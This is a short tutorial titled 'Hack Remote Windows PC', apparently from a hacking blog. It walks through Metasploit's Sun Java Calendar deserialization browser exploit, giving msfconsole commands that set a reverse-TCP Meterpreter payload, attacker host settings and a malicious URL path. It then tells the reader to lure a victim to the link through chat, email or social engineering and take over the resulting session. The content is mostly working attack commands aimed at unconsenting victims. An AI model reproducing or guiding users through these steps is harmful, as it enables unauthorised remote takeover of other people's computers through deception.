Hack Remote Windows PC using Sun Java Calendar Deserialization Privilege Escalation

This module exploits a flaw in the deserialization of Calendar objects in the Sun JVM. The payload can be either a native payload which is generated as an executable and dropped/executed on the target or a shell from within the Java applet in the target browser. The affected Java versions are JDK and JRE 6 Update 10 and earlier, JDK and JRE 5.0 Update 16 and earlier, SDK and JRE 1.4.2_18 and earlier (SDK and JRE 1.3.1 are not affected).

Exploit Targets

0 - Generic (Java Payload) (default)

1 - Windows x86 (Native Payload)

2 - Mac OS X PPC (Native Payload)

3 - Mac OS X x86 (Native Payload)

4 - Linux x86 (Native Payload)

Requirement

Attacker: Backtrack 5

Victim PC: Windows XP

Open backtrack terminal type msfconsole

Now type use exploit/windows/browser/java_calendar_deserialize

Msf exploit (java_calendar_deserialize)>set payload java/meterpreter/reverse_tcp

Msf exploit (java_calendar_deserialize)>set lhost 192.168.1.4 (IP of Local Host)

Msf exploit (java_calendar_deserialize)>set srvhost 192.168.1.4 (This must be an address on the local machine)

Msf exploit (java_calendar_deserialize)>set uripath javacalendar (The Url to use for this exploit)

Msf exploit (java_calendar_deserialize)>exploit 

Now an URL you should give to your victim http://192.168.1.4/javacalendar

Send the link of the server to the victim via chat or email or any social engineering technique.

Now you have access to the victims PC. Use “Sessions -l” and the Session number to connect to the session. And Now Type “sessions -i ID“